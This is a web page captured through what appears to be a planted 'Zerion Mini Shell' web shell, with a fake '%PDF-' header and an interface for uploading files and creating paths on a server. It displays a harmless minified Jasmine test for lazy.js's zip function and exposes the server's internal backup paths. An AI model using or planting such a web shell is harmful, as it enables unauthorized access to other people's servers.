%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/self/root/home/infra/BACKUP-FUSIONINVENTORY/lib/lazy.js-0.5.1/spec/
Upload File :
Create Path :
Current File : //proc/self/root/home/infra/BACKUP-FUSIONINVENTORY/lib/lazy.js-0.5.1/spec/zip_spec.min.js

describe("zip",function(){var names;beforeEach(function(){names=Lazy(people).map(Person.getName).toArray();Person.reset(people)});ensureLaziness(function(){Lazy(names).zip(people)});it("merges together the values of each array",function(){var zipped=Lazy(names).zip(people).toArray();expect(zipped).toEqual([["David",david],["Mary",mary],["Lauren",lauren],["Adam",adam],["Daniel",daniel],["Happy",happy]])});it("passes an index along with each element",function(){expect(Lazy(names).zip(people)).toPassToEach(1,[0,1,2,3,4,5])})});

Zerion Mini Shell 1.0